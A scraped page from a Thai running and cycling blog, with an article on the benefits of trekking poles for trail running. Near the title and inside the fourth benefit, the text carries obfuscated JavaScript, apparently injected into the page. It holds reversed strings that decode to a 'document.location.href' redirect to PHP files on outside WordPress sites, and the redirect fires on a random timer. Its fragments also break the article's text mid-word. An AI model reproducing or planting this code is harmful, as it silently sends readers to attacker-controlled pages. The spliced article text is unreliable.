• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

Trekking poles ไม้เท้าวิเศษมีพกไว้ วิ่งจบเทรลแน่นอน

kan by kan
11 September 2017
in Running Tips, Tips & Technics
0
M$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andatory Gears
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

หนึ่งในอุปกรณ์ “ควรจะมี” พกติดไว้สำหรับนักวิ่งเทรลระยะทางไกล ตั้งแต่ 20 กิโลเมตรจนถึงระดับอัลตรา ที่สำคัญไม้เท้าวิเศษ (Trekking Poles) มีประโยชน์มากกว่าที่คุณคิด และมักจะถูกมองข้ามไป หรืออาจจะมองว่าเป็นอุปกรณ์สำหรับเดินป่ามากกว่า แต่ในทางปฏิบัติ เวลาเอามาใช้วิ่งเทรลนี้ ผู้เขียนบอกเลยว่าคุณได้เปรียบกว่าคนอื่นนะ

ประโยชน์ของไม้เท้าวิเศษ ( Trekking Poles )

1. ช่วยปรับ Posture ของคุณให้ยืนตัวตรง ไหล่ผายออก มีพื้นที่ให้ปอดเราพองตัวไปเต็มที่ ลดแรงกดลงบริเวณข้อเข่าต่างๆ

2. เวลาไต่เขาขึ้น จะมีการใช้กล้ามเนื้อ Upper body เข้ามาช่วยด้วย ไม่ใช่แค่กล้ามเนื้อช่วงล่างอย่างเดียว

Trekking Poles

3. ช่วยผลักดันเราไปข้างหน้า ไม่ว่าจะเป็นทางเรียบหรือทางชันขึ้นเขา ลองจินตนาการว่ากำลังเล่นสกีดูครับ ปกติเราจะใช้ไม้เท้าดันเราไปข้างหน้า และเช่นเดียวกับเวลาวิ่งเทรล แถมเวลาเดินจะเดินเร็วกว่าปกติด้วย

4. สร้างความมั่นคงและบาลานซ์ หรือ Stability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Balance ร่างกายเรามีรยางค์ยาวขึ้น มีจุดสัมผัสพื้นผิวเพื่อสร้างแรงยึดเหนี่ยวได้มากขึ้น ดังนั้นเวลาวิ่งลง หรือไต่เขา คุณจะมีจุดสัมผัสพื้นผิว สร้างแรงเสียดทานไม่ลื่นล้มแน่นอน การกางศอกออกหรือกางไม้เท้าก็จะช่วยปรับบาลานซ์ได้ดีขึ้น

5. ช่วยสร้างจังหวะหรือ rhythm ในการเดินวิ่ง ทำให้เวลาเดิน pace จะเร็วขึ้น

6. ช่วยป้องกันสัตว์ร้ายและสัตว์มีพิษ ไม้เท้าสามารถทำหน้าที่เป็นอุปกรณ์ป้องกันตัวได้ในยามฉุกเฉิน นอกจากเป็นอุปกรณ์ป้องกันภัยแล้ว ยังสามารถเป็นอุปกรณ์ปฐมพยาบาลเบื้องต้นได้ด้วย อย่างเช่น ใช้เป็นอุปกรณ์ดามกระดูกหัก

Trekking Poles
Trail Runner Magazine

7. ช่วยสร้างและสำรวจเส้นทางข้างหน้า ในกรณีที่ไม่แน่ใจว่าพื้นผิวมันแข็งแรงพอที่จะเหยียบลงไปได้ไหม หรือมีหญ้ารกเป็นพิเศษ ใช้ไม้เท้าจิ้มสำรวจเพื่อความปลอดภัยได้เลย บางคนยังเอามาใช้เป็นเสาค้ำผ้าใบ สร้างเป็นเต็นท์เฉพาะกิจได้ด้วยนะ

สุดท้ายนี้ มีนักวิ่งเทรลถามมาว่า ใช้เป็นคู่หรืออันเดียวดี…แนะนำว่าให้ใช้เป็นคู่ครับ มีสองอันจะช่วยสร้างบาลานซ์ซ้ายขวาได้ดีกว่า สร้างจังหวะการเดินได้เร็วกว่าด้วย วัสดุทำไม้เท้าในปัจจุบันก็จะมีแบบที่เป็น คาร์บอน ซึ่งแพงใช้ได้เลยครับ แต่ไม้เท้าที่ทำจากอลูมิเนียมก็เบาใช้ได้เหมือนกันนะ ถูกกว่าด้วย แต่เท่าที่สังเกต นักวิ่งมักจะเลือกไม้เท้าที่สามารถพับเก็บได้ขนาดเล็กและพกพาง่ายที่สุด

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.